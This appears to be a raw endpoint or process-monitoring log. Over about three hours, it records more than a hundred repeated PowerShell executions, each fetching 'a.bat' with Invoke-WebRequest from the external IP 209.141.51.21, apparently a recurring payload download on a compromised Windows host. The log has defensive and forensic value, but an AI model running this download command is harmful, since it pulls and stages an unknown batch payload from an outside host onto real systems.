PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:56:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:56:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:58:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:59:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:01:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:01:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:03:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:04:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:06:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:06:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:08:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:09:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:11:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:11:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:13:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:14:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:16:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:16:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:18:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:19:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:21:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:21:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:23:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:24:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:26:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:26:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:28:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:29:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:31:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:31:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:33:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:34:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:36:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:36:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:38:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:39:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:41:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:41:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:43:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:44:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:46:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:46:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:48:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:49:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:51:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:51:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:53:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:54:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:56:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:56:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:59:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 02:59:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:01:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:01:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:04:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:04:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:06:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:06:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:09:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:09:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:11:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:11:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:14:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:14:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:16:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:16:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:19:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:19:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:21:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:22:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:24:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:24:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:26:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:27:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:29:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:29:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:31:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:32:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:34:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:34:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:36:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:37:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:39:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:39:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:41:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:42:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:44:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:44:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:46:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:47:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:49:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:49:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:51:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:52:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:54:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:54:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:56:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:57:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:59:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 03:59:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:01:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:02:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:04:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:04:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:06:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:07:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:09:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:09:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:11:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:12:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:14:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:14:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:16:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:17:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:19:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:19:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:21:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:22:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:24:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:24:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:26:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:27:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:29:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:29:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:31:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:32:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:34:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:34:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:36:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:37:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:39:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:39:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:41:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:42:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:44:07 NOTIFY: PROCESS 